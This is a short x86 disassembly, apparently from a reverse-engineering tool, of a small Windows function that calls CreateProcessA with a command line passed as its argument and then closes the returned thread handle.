Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x42bfe8], 0x44
push eax
xor eax, eax
push 0x42bfe8
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4052a7
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4